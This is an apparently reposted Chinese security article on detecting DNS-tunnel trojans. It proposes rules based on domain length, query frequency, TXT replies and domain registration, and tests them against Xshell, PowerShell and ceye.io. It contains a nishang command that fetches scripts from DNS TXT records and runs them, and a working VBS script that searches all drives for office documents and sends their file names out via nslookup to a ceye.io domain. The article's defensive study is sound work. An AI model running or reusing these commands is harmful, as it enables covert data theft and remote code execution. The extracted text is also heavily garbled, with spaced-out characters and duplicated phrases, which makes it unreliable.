搜索

[11872] 2017-10-09_一次误报引发的DNS检测方案的思考：DNS隧道检测平民解决方案

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-10-09_一次误报引发的DNS检测方案的思考：DNS隧道检测平民解决方案 一 次 误 报 引 发 的 D N S 检 测 方 案 的 思 考 ： D N S 隧 道 检 测 平 民 解 决 方 案 C h u a n F i l e   F r e e B u f   2 0 1 7 - 1 0 - 0 9 * 本 文 作 者 ： C h u a n F i l e ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 随 着 随 着 d n s 隧 道 应 用 的 越 来 越 广 泛 ， 尤 其 是 隧 道 应 用 的 越 来 越 广 泛 ， 尤 其 是 x s h e l l 事 件 被 公 布 以 后 ， 各 大 公 司 纷 纷 启 动 对 事 件 被 公 布 以 后 ， 各 大 公 司 纷 纷 启 动 对 d n s 隧 道 的 监 控 ， 参 考 隧 道 的 监 控 ， 参 考 x s h e l l 的 逻 辑 ， 大 多 数 公 司 采 取 了 的 逻 辑 ， 大 多 数 公 司 采 取 了 “ 监 控 多 个 终 端 请 求 异 常 长 度 域 名 监 控 多 个 终 端 请 求 异 常 长 度 域 名 ” 的 检 测 方 案 ， 其 中 注 重 检 出 率 的 公 司 为 了 的 检 测 方 案 ， 其 中 注 重 检 出 率 的 公 司 为 了 提 高 检 出 率 （ 当 然 会 提 高 误 报 率 ） 进 一 步 降 低 了 多 终 端 的 数 量 ， 采 取 了 提 高 检 出 率 （ 当 然 会 提 高 误 报 率 ） 进 一 步 降 低 了 多 终 端 的 数 量 ， 采 取 了 “ 单 个 终 端 请 求 了 异 常 长 度 的 域 名 单 个 终 端 请 求 了 异 常 长 度 的 域 名 ” 的 方 的 方 案 来 发 现 所 有 疑 似 案 来 发 现 所 有 疑 似 d n s 隧 道 木 马 。 隧 道 木 马 。 笔 者 前 阵 子 突 然 发 现 几 台 机 器 频 繁 解 析 诡 的 域 名 ， 如 下 ： 经 过 紧 张 的 排 查 定 位 确 认 为 浏 览 器 的 某 插 件 导 致 ， 相 关 全 域 名 存 在 注 册 记 录 ， 非 d n s 隧 道 木 马 ， 为 误 报 。 大 家 都 松 了 口 气 ， 但 是 也 引 起 了 反 思 ， 怎 么 才 能 更 精 准 的 发 现 真 正 的 d n s 隧 道 木 马 ？ 大 数 据 分 析 ？ 够 高 大 上 ！ 但 落 地 成 本 高 ， 复 杂 度 也 高 ， 对 于 一 般 公 司 来 说 很 难 实 施 ， 为 此 笔 者 从 d n s 隧 道 的 原 理 和 黑 客 的 思 路 入 手 分 析 ， 提 出 一 些 简 单 的 检 测 方 案 ， 仅 供 参 考 ！ 正 文 ： 正 文 ： 原 理 分 析 ： 原 理 分 析 ： 众 所 周 知 ， d n s 隧 道 木 马 外 传 数 据 是 利 用 1 、 过 长 的 不 存 在 的 域 名 （ 其 中 随 机 数 即 为 外 传 数 据 ） 2 、 t x t 回 包 作 为 回 传 数 据 （ 更 新 配 置 、 模 块 等 ） ， 详 细 分 析 这 种 利 用 开 放 5 3 端 口 （ 可 广 义 理 解 为 漏 洞 ） 的 传 输 方 式 的 技 术 ： 1 、 、 * * 通 用 外 传 方 式 分 析 * * a )         方 式 1 ： 利 用 本 机 d n s 配 置 ， 发 送 域 名 请 求 ， 通 过 递 归 到 达 黑 客 控 制 的 d n s 服 务 器 （ 坏 人 需 拥 有 或 拿 下 d n s 服 务                                                 器 ） b )           方 式 2 ： 更 改 本 机 d n s 配 置 ， 配 置 为 8 . 8 . 8 . 8 等 公 共 d n s ， 然 后 通 过 递 归 外 传 到 达 黑 客 控 制 的 d n s 服 务 器 c )           方 式 3 ： 直 接 构 造 d n s 包 体 ， 发 送 到 8 . 8 . 8 . 8 等 公 共 d n s ， 然 后 利 用 递 归 外 传 到 达 黑 客 控 制 的 d n s 服 务 器 d )           方 式 4 ： 直 接 构 造 d n s 包 体 ， 发 送 到 本 机 d n s 服 务 器 ， 然 后 利 用 递 归 外 传 到 达 黑 客 控 制 的 d n s 服 务 器 e )           方 式 5 ： 直 接 构 造 d n s 包 体 ， 发 送 到 自 己 控 制 的 d n s 服 务 器 ， 直 接 获 取 数 据 2 、 、 * * 安 全 取 证 分 析 * * a )           方 式 1 ： 此 方 式 走 系 统 d n s 配 置 ， 无 法 获 取 哪 个 程 序 调 用 了 d n s 请 求 ， 仅 能 看 到 系 统 s v c h o s t . e x e 进 行 了 d n s 请 求 ， 但 一 旦 发 现 异 常 可 通 过 配 置 d n s 黑 名 单 止 损 b )           方 式 2 ： 此 方 式 走 系 统 d n s 配 置 ， 无 法 获 取 哪 个 程 序 调 用 了 d n s 请 求 ， 仅 可 获 取 d n s 配 置 被 更 改 的 日 志 ， 但
无 法 获 取 谁 更 改 的 ， 仅 能 看 到 系 统 s v c h o s t . e x e 进 行 了 d n s 请 求 ， 因 公 共 服 务 不 在 公 司 控 制 范 围 ， 所 有 无 法 通 过 配 置 域 名 解 析 黑 名 单 止 损 c )           方 式 3 ： 此 方 式 可 获 取 哪 个 进 程 发 起 了 d n s 请 求 （ x s h e l l 就 是 利 用 了 此 方 案 ） ， 同 样 ， 因 公 共 服 务 不 在 公 司 控 制 范 围 ， 所 有 无 法 通 过 配 置 域 名 解 析 黑 名 单 止 损 d )           方 式 4 ： 此 方 式 可 获 取 哪 个 进 程 发 起 了 d n s 请 求 （ x s h e l l 就 是 利 用 了 此 方 案 ） ， 但 一 旦 发 现 异 常 可 通 过 配 置 d n s 黑 名 单 止 损 e )           方 式 5 ： 此 方 式 可 获 取 哪 个 进 程 发 起 了 d n s 请 求 ， 但 直 接 暴 露 黑 客 d n s 位 置 ， 可 通 过 直 接 屏 蔽 恶 意 d n s 目 的 止 损 3 、 、 * * 恶 意 进 程 和 黑 d n s 服 务 器 交 互 分 析 * * a )           恶 意 进 程 仅 用 超 长 域 名 记 录 外 传 数 据 ， 不 利 用 t x t 回 包 获 取 回 传 数 据 ， 不 利 用 A 记 录 回 包 作 为 C & C 地 址 ， 纯 窃 取 敏 感 信 息 的 木 马 就 是 利 用 此 方 式 ， 这 行 情 况 下 ： i .                     d n s 服 务 器 无 需 提 供 解 析 服 务 ， 即 d n s 服 务 器 可 以 无 回 包 i i .                     d n s 服 务 器 如 提 供 解 析 服 务 返 回 解 析 的 i p 地 址 ， 但 本 机 进 程 也 不 关 注 ， 即 本 机 进 程 不 对 解 析 结 果 发 包 （ 无 s o c k e t 通 信 ） b )           恶 意 进 程 用 超 长 域 名 记 录 外 传 数 据 ， 利 用 t x t 回 包 获 取 回 传 数 据 ， 不 利 用 A 记 录 回 包 作 为 C & C 地 址 ， x s h e l l 就 是 利 用 此 方 式 ， 这 行 情 况 下 ： i .                     d n s 服 务 器 需 提 供 解 析 服 务 ， 即 d n s 服 务 器 有 t x t 回 包 ， 可 能 有 A 记 录 回 包 i i .                     d n s 服 务 器 需 提 供 解 析 服 务 ， 但 本 机 进 程 也 不 关 注 ， 即 本 机 进 程 不 对 解 析 结 果 发 包 （ 无 s o c k e t 通 信 ） c )           恶 意 进 程 用 超 长 域 名 记 录 外 传 数 据 ， 利 用 t x t 回 包 获 取 回 传 数 据 ， 并 利 用 A 记 录 回 包 作 为 C & C 地 址 ， 此 方 式 不 是 纯 d n s 隧 道 ， 不 符 合 d n s 的 隐 蔽 性 ， 从 d n s 隧 道 角 度 分 析 黑 客 理 论 上 利 用 此 方 式 几 率 极 小 ， 这 行 情 况 下 ： i .                     d n s 服 务 器 需 提 供 解 析 服 务 ， 即 d n s 服 务 器 有 t x t 回 包 ， 可 能 有 A 记 录 回 包 i i .                     本 机 程 序 对 解 析 出 的 A 记 录 发 起 访 问 （ 有 s o c k e t 通 信 ） d )           恶 意 进 程 用 超 长 域 名 记 录 外 传 数 据 ， 不 利 用 t x t 回 包 获 取 回 传 数 据 ， 但 利 用 A 记 录 回 包 作 为 C & C 地 址 ， 但 此 方 式 多 为 正 常 程 序 使 用 ， 不 是 纯 d n s 隧 道 ， 不 符 合 d n s 的 隐 蔽 性 ， 从 d n s 隧 道 角 度 分 析 黑 客 理 论 上 利 用 此 方 式 几 率 极 小 ， 这 行 情 况 下 ： i .                     d n s 服 务 器 需 提 供 解 析 服 务 ， 即 d n s 服 务 器 有 回 包 ， 但 是 A 记 录 类 型 i i .                   本 机 进 程 对 此 A 记 录 进 行 访 问 关 注 ， 即 本 机 进 程 对 解 析 结 果 地 址 发 包 结 论 结 论 : 完 成 外 传 方 式 分 析 、 取 证 分 析 、 恶 意 进 程 和 黑 d n s 服 务 器 交 互 分 析 等 三 部 分 的 分 析 后 ， 我 们 已 完 全 掌 握 黑 客 的 伎 俩 ， 接 下 来 我 们 再 深 入 分 析 下 ， 首 先 ， 我 们 结 合 下 黑 客 的 心 理 ， 黑 客 利 用 d n s 隧 道 的 目 的 是 绕 过 防 御 （ 如 禁 止 外 联 ） 、 躲 避 流 量 检 测 （ 如 s n o r t 特 征 码 检 测 ） 、 躲 避 i o c 检 测 （ 如 外 联 恶 意 i p 、 恶 意 域 名 ） 等 ， 那 黑 客 必 然 不 会 对 d n s 相 关 （ 如 解 析 出 的 i p ） 的 i p 进 行 额 外 的 通 信 ， 如 h t t p 、 s o c k e t 等 ， 既 是 存 在 非 d n s 通 信 也 是 通 过 t x t 回 包 获 取 c & c 罢 了 ， 这 样 才 可 以 充 分 利 用 d n s 的 隐 蔽 性 。 其 次 我 们 从 黑 客 入 侵 的 目 的 出 发 ， 入 侵 的 最 终 目 的 无 非 是 为 了 窃 取 数 据 外 传 ， 窃 取 单 个 账 号 密 码 只 是 中 间 过 程 ， 最 终 还 是 为 了 窃 取 大 量 数 据 ， 那 利 用 d n s 怎 么 外 传 大 量 数 据 呢 ， 超 长 域 名 * 频 率 就 是 外 传 的 数 据 量 ， 仅 超 长 域 名 不 排 除 在 外 传 账 号 密 码 等 少 量 新 的 可 能 性 ， 但 高 频 率 就 一 定 在 大 量 外 传 了 。 第 三 从 域 名 注 册 角 度 分 析 ， d n s 必 然 涉 及
到 域 名 问 题 ， 假 设 正 在 请 求 的 超 长 域 名 已 存 在 注 册 记 录 ， 那 必 然 不 是 d n s 隧 道 方 式 ， 因 注 册 记 录 是 固 定 的 ， 能 承 载 的 信 息 也 就 是 固 定 的 ， 一 定 不 可 能 是 外 传 的 数 据 。 通 过 以 上 分 析 得 出 监 控 需 要 关 注 的 几 个 要 素 ： 长 域 名 、 频 率 、 t x t 类 型 、 终 端 是 否 对 解 析 i p 发 起 访 问 、 是 否 有 全 域 名 注 册 记 录 ， 推 导 检 测 逻 辑 如 下 ： 方 向 方 向 1 ： 特 征 检 测 ： ： 特 征 检 测 ： 检 测 窃 密 木 马 （ 无 需 更 新 和 接 收 指 令 ） ：           【 域 名 超 长   o r   频 率 高 】     a n d   【 终 端 无 进 程 对 返 回 的 A 记 录 （ 如 有 ） 发 起 访 问 】   a n d   【 不 存 在 全 域 名 注 册 记 录 】 检 测 远 控 木 马 （ 需 更 新 和 接 收 指 令 ） ：                   【 域 名 超 长   o r   频 率 高 】     a n d   【 终 端 无 进 程 对 返 回 的 A 记 录 （ 如 有 ） 发 起 访 问 】   a n d   【 不 存 在 全 域 名 注 册 记 录 】   a n d   【 存 在 t x t 回 包 】 通 用 检 测 （ 可 发 现 单 次 外 传 ， 存 在 浏 览 器 预 解 析 等 误 报 ， 需 结 合 其 他 特 征 确 认 ） ： { 【 存 在 t x t 回 包 】 a n d   【 不 存 在 全 域 名 注 册 记 录 】 }     o r     { 【 终 端 无 进 程 对 返 回 的 A 记 录 （ 如 有 ） 发 起 访 问 】     a n d   【 不 存 在 全 域 名 注 册 记 录 】 } 方 向 方 向 2 ： 基 于 外 传 量 检 测 ， 发 现 正 在 进 行 的 大 量 数 据 泄 露 （ 不 分 析 细 节 ， 仅 供 参 考 ， 本 次 实 验 不 涉 及 ） ： ： 基 于 外 传 量 检 测 ， 发 现 正 在 进 行 的 大 量 数 据 泄 露 （ 不 分 析 细 节 ， 仅 供 参 考 ， 本 次 实 验 不 涉 及 ） ： 单 台 机 器 检 测 ：         域 名 长 度 （ 3 + N 级 的 域 名 ）   *   域 名 数 量 （ 相 同 只 计 算 一 个 ）   >   单 台 机 器 阈 值 ， 评 测 外 传 数 据 大 小 ， 达 到 阈 值 则 触 发 报 警 群 体 事 件 检 测 ：           A 机 器 域 名 长 度 （ 3 + N 级 的 域 名 ） *   A 机 器 域 名 数 量 （ 相 同 只 计 算 一 个 ）     +   B   + …     >       多 台 机 器 阈 值 ， 评 测 外 传 数 据 大 小 ， 达 到 阈 值 则 触 发 报 警 实 验 验 证 分 析 ： 实 验 验 证 分 析 ： 为 验 证 此 方 案 的 逻 辑 正 确 性 ， 笔 者 实 验 如 下 ： X s h e l l 实 验 验 证 ： 实 验 验 证 ： 1 、 直 接 运 行 x s h e l l ， 触 发 d n s 行 为 2 、 外 传 结 果 抓 包 ： 3 、 检 测 逻 辑 匹 配 分 析 ： a )           外 传 域 名 超 长 b )           频 率 较 高 c )           类 型 为 T X T ， 有 回 包 d )           无 A 记 录 解 析 结 果 ， 也 就 无 程 序 对 结 果 发 起 访 问 e )           不 存 在 全 域 名 注 册 记 录 （ 黑 客 根 据 算 法 提 前 注 册 了 部 分 域 名 ， 但 全 域 名 无 注 册 信 息 ） 结 论 ： 窃 密 木 马 结 论 ： 窃 密 木 马 + 远 控 木 马 远 控 木 马 P o w e r s h e l l   d n s 实 验 验 证 ： 实 验 验 证 ：
1 、 利 用 p o w e r s h e l l 构 造 d n s 隧 道 a )           编 写 一 个 最 简 单 的 一 句 话 脚 本 ， 获 取 服 务 列 表 b )           使 用 n i s h a n g 的 O u t - N n s T x t 将 脚 本 G e t S e r v i c e T o T x t . p s 1 转 换 为 t x t 记 录 c )           在 d n s 服 务 器 建 立 对 应 t x t 记 录 （ 后 续 执 行 需 按 照 1 , 2 , 3 , 4 的 顺 序 ， 所 以 建 立 记 录 名 为 1 ） 验 证 结 果 ， o k
d )           使 用 n i s h a n g 的 D N S _ T X T _ P w n a g e 读 取 t x t 并 执 行 （ 脚 本 自 动 在 t e s t . c o m 前 加 1 ， 向 1 . t e s t . c o m 请 求 t x t 记 录 作 为 脚 本 执 行 。 不 过 笔 者 最 终 也 没 搞 懂 s t o p s t r i n g 这 个 参 数 的 原 理 ， 懂 的 朋 友 麻 烦 私 信 下 ， 谢 谢 ！   ） ， 可 正 常 获 取 服 务 列 表 。 命 令 和 结 果 如 下 ： D N S _ T X T _ P w n a g e   - s t a r t d o m a i n s t a r t f l a g . t e s t . c o m   - c m d s t r i n g   n o s t a r t   - c o m m a n d d o m a i n     t x t 1 . t e s t . c o m   - p s s t r i n g s t a r t f l a g   - p s d o m a i n   t e s t . c o m   - S u b d o m a i n s   1   - s t o p s t r i n g   s t o p f l a g 2 、 外 传 结 果 抓 包 ： 使 用 M i c r o s o f t   N e t w o r k   M o n i t o r 抓 包 分 析 3 、 检 测 逻 辑 匹 配 分 析 ： a )           因 实 验 未 将 结 果 外 传 ， 所 以 域 名 长 度 不 大 ， 如 d n s 隧 道 外 传 则 必 使 用 长 域 名 b )           因 实 验 未 将 结 果 外 传 ， 所 以 频 率 不 高 ， 且 只 获 取 远 端 的 g e t - s e r v e r 功 能 ， 频 率 也 不 高 ， 但 要 实 现 外 传 和 获 取 更 多 功 能 （ 如 m i m i k a t z 等 ） ， 则 必 然 需 要 高 频 率 c )           类 型 为 T X T ， 有 回 包 d )           无 A 记 录 解 析 结 果 ， 也 就 无 程 序 对 结 果 发 起 访 问 e )           此 实 验 场 景 未 覆 盖 外 传 数 据 ， 所 以 不 涉 及 注 册 问 题
结 论 ： 远 控 木 马 （ 实 验 功 能 较 单 一 ， 扩 展 为 大 马 则 可 精 确 覆 盖 检 测 特 征 ） 结 论 ： 远 控 木 马 （ 实 验 功 能 较 单 一 ， 扩 展 为 大 马 则 可 精 确 覆 盖 检 测 特 征 ） 利 用 利 用 c e y e . i o 的 外 传 实 验 验 证 的 外 传 实 验 验 证 1 、 、   少 量 信 息 窃 取 和 大 量 信 息 窃 取 少 量 信 息 窃 取 和 大 量 信 息 窃 取 a )           单 次 少 量 信 息 窃 取 外 传 ， 简 单 利 用 w i n d o w s 命 令 （ p i n g 、 n s l o o k u p 等 ） 即 可 窃 取 机 器 名 b )         多 次 大 量 信 息 窃 取 ， 编 写 脚 本 ， 搜 索 文 档 （ w o r d 、 e x c e l 、 p p t ） ， 并 外 传 文 件 名 ( 此 脚 本 3 6 0   未 报 警 ) ， v b s 脚 本 内 容 如 下   (   代 码 未 充 分 验 证 ， 不 保 证 无 错 误 ， 中 文 支 持 或 读 文 件 内 容 请 自 行 修 改 ) ： 2 、 、 外 传 结 果 展 示 ： 外 传 结 果 展 示 ： a )           单 次 少 量 信 息 窃 取 外 传 b )           多 次 大 量 信 息 窃 取 3 、 、 检 测 逻 辑 匹 配 分 析 ： 检 测 逻 辑 匹 配 分 析 ： a )           利 用 A 记 录 外 传 ， 非 t x t 回 包 ， 长 度 不 超 长 （ 实 验 原 因 ， 未 充 分 利 用 域 名 长 度 ） ， 但 频 率 较 高 ， 解 析 过 程 未 发 现 异 ' O n   E r r o r R e s u m e   N e x t S e t   f s o   = C r e a t e O b j e c t ( " S c r i p t i n g . F i l e S y s t e m O b j e c t " ) t o o l s N a m e = A r r a y ( " . d o c x " , " . d o c " , " . x l s " , " . x l s x " , " . p p t " , " . p p t x " ) ' C o n s t D R I V E _ L E T T E R S = " C : D : E : F : G : H : I : J : K : L : M : N : O : P : Q : R : S : T : U : V : W : X : Y : Z " C o n s t D R I V E _ L E T T E R S = " o " ' ' ' ' ' ' ' ' ' ' ' ' 开 始 搜 索 C a l l S c a n D r i v e s ( )                                             ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' S u b S c a n D r i v e s ( )           D i m   d r i v e s           d r i v e s = S p l i t ( D R I V E _ L E T T E R S , " : " )           F o r   E a c h   d r v   I n   d r i v e s                 I f   f s o . D r i v e E x i s t s ( d r v )   T h e n                           S e t   d r i v e = f s o . G e t D r i v e ( d r v )                         I f   d r i v e . i s R e a d y   T h e n                                 C a l l S c a n F i l e s ( d r i v e . R o o t F o l d e r )                         E n d   I f                 E n d   I f           N e x t   E n d   S u b   ' ' ' ' ' ' ' ' ' ' ' '   S u b S c a n F i l e s ( f o l d e r )           F o r   E a c h   t h i s _ f i l e   I n   f o l d e r . F i l e s                 O n   E r r o r   R e s u m e   N e x t                 C a l l   F i n d K e y F i l e ( t h i s _ f i l e )                 W S c r i p t . S l e e p   1           N e x t         F o r   E a c h   t h i s _ f o l d e r   I n   f o l d e r . S u b F o l d e r s                 O n   E r r o r   R e s u m e   N e x t                 C a l l   S c a n F i l e s ( t h i s _ f o l d e r )                 W S c r i p t . S l e e p   1           N e x t         E n d   S u b   ' ' ' ' ' ' ' ' ' ' ' 查 找 特 定 文 件   S u b F i n d K e y F i l e ( f i l e )         O n   E r r o r   R e s u m e   N e x t       F o r   E a c h   t o o l _ n a m e   I n   t o o l s N a m e                   ' W S c r i p t . E c h o                     ' ' ' ' 将 文 件 名 都 转 为 大 写 匹 配                   I f I n S t r ( U C a s e ( f i l e . n a m e ) , U C a s e ( t o o l _ n a m e ) )   < > 0   T h e n                           D n s S t r =   f i l e . n a m e   & " . x x x x x x x . c e y e . i o "                 ' ' ' ' 进 行 静 默 n s l o o k u p 上 传                                                   s e t o b j S h e l l = w s c r i p t . c r e a t e O b j e c t ( " w s c r i p t . s h e l l " )                                             o b j S h e l l . e x e c ( " % c o m s p e c %   / c   n s l o o k u p   "   &   D n s S t r )                           E n d   I f           N e x t   E n d   S u b
常 （ 但 此 截 图 为 8 . 8 . 8 . 8 ， 非 系 统 d n s 存 在 一 定 风 险 ） b )           对 解 析 A 记 录 结 果 无 后 续 访 问 c )           不 存 在 全 域 名 注 册 记 录 结 论 ： 窃 取 数 据 木 马 结 论 ： 窃 取 数 据 木 马 * 本 文 作 者 ： 本 文 作 者 ： C h u a n F i l e ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理